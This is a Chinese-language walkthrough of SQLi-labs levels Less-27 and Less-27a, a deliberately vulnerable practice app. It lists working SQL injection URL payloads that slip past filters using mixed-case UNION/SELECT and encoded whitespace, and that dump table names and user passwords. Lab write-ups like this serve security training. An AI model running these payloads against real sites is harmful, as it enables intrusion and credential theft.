Less-27
基於錯誤_GET_過濾UNION/SELECT_單引號_字符型注入
測試注入字符類型:
?id=2'%26%26 '1'='1 (id=2的用戶說明不帶括號,id=1的用戶說明帶括號)
由此得出,這是單引號字符型注入。(不帶小括號的)
根據提示我們知道了,過濾了union和select,至於其他的還不清楚,要是一個一個試,太麻煩了,直接看源碼文件:
發現沒有過濾or
與and
,過濾了幾個大小寫的union
和select
但是可以用隨機大小寫繞過,過濾了--
、#
以及/**/
,過濾了兩次空格
,過濾了/
但沒過濾\
。
所以實際上只過濾了註釋
與空格
,與 Less 26 相似。
這一關卡中涉及到了正則表達式中的模式修飾符
或者:
i
如果設定此修正符,模式中的字符將同時匹配大小寫字母。m
當設定了此修正符,“行起始”和“行結束”除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之後和之前。s
如果設定了此修正符,模式中的圓點元字符(.)匹配所有的字符,包括換行符。沒有此設定的話,則不包括換行符。x
如果設定了此修正符,模式中的空白字符除了被轉義的或在字符類中的以外完全被忽略,在未轉義的字符類之外的 #以及下一個換行符之間的所有字符,包括兩頭,也都被忽略。e
如果設定了此修正符,preg_replace() 在替換字符串中對逆向引用作正常的替換,?在 . + 和 * 之後 表示非貪婪匹配: *、+和?限定符都是貪婪的,因爲它們會儘可能多的匹配文字,只有在它們的後面加上一個?就可以實現非貪婪或最小匹配。
綜上直接大小寫混合繞過即可:
注入方法類似於less-26,這裏介紹union聯合注入,其他方法自行嘗試:
這關可以用%a0
代替空格,但這裏多了一種用/*%0a*/
強行製造空格。
原理暫不清楚,但 Less 26 無法使用,也無法使用%0a 但有的人可以,可能跟環境的配置有關。
暴庫:
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1
爆表:
?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3||'1
爆字段:
?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1
爆數據:
?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1
提示::uniunionon 也是可以突破限制的。亦可以利用報錯注入和延時注入的語法進行注入。
=============== 分隔符==================
Less-27a
基於盲注_GET_過濾UNION/SELECT_雙引號_字符型
這一關沒什麼好說的,直接看源碼:
得出以下結論:
1.雙引號字符型注入
2.沒有錯誤回顯,不能進行報錯注入,即無法使用updatexml函數等,但可以進行布爾盲注,因爲他有無錯誤回顯,即正確和錯誤頁面返回的頁面不同。
3.可以使用union聯合注入,延時盲注。
這裏演示一下聯合注入,其他自行嘗試:
?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1